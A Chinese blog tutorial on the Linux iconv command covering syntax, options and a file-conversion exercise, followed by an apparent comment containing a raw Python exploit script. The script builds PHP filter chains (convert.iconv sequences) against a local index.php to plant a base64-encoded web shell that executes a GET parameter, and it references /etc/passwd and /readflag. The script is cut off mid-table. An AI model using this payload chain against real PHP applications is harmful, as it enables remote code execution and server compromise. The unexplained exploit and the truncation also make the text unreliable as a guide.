0035. shell命令--iconv

目录

35. shell命令--iconv

功能说明

语法格式

选项说明

实践操作

注意事项


35. shell命令--iconv

功能说明

        iconv 是一个在 Linux 和其他 Unix-like 系统上常用的命令行工具,用于字符集之间的转换。当你处理来自不同源的数据,并且这些数据可能使用不同的字符集编码时,iconv 可以帮助你确保数据的正确性和一致性。

        iconv 命令 是用来转换文件的编码方式的,比如它可以将 UTF8 编码的转换成 GB18030 的编码,反过来也行。JDK 中也提供了类似的工具 native2ascii。Linux 下的 iconv 开发库包括 iconv_open,iconv_close,iconv 等 C 函数,可以用来在 C/C++ 程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而 iconv 命令在调试此类程序时用得着。

语法格式

iconv [选项] [-f from-encoding] [-t to-encoding] [输入文件]
iconv [选项] [-f 编码] [-t 编码] [输入文件] [-o 输出文件]
Usage: iconv [OPTION...] [FILE...]

选项说明

-f, --from-code=名称:指定原始字符集。
-t, --to-code=名称:指定目标字符集。
-o, --output=FILE:指定输出文件。如果省略,则输出到标准输出。
-l, --list:列出已知的字符集。
-c:在输出时忽略无效的字符。
-s, --silent:在转换时静默模式,不显示警告。
--verbose:显示更多信息。
-?, --help:给出该系统求助列表。
--usage:给出简要的用法信息。
-V, --version:打印程序版本号

实践操作

0. 环境准备
mkdir -p /test/iconv
cd /test/iconv

1. 列出当前支持的字符编码
iconv -l
iconv -l |wc -l

2. 文件转码测试
touch file1.txt
file -bi file1.txt
echo '测试test' >file1.txt
file -bi file1.txt
iconv file1.txt -f utf-8 -t GB18030 -o file2.txt
file -bi file2.txt 
cat file1.txt
cat file2.txt

注意事项

  • 在进行字符集转换时,请确保你了解源字符集和目标字符集,以避免数据丢失或损坏。
  • 如果目标字符集不支持源字符集中的某些字符,这些字符可能会被替换为问号(?)或其他占位符,或者根据 -c 选项被忽略。
  • 某些字符集可能包含与特定语言或地区相关的字符,因此在进行字符集转换时,请确保选择与你的文本内容相匹配的字符集。
import requests url = "http://localhost/index.php" file_to_use = "/etc/passwd" command = "/readflag" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|con
03-13
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MineGi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值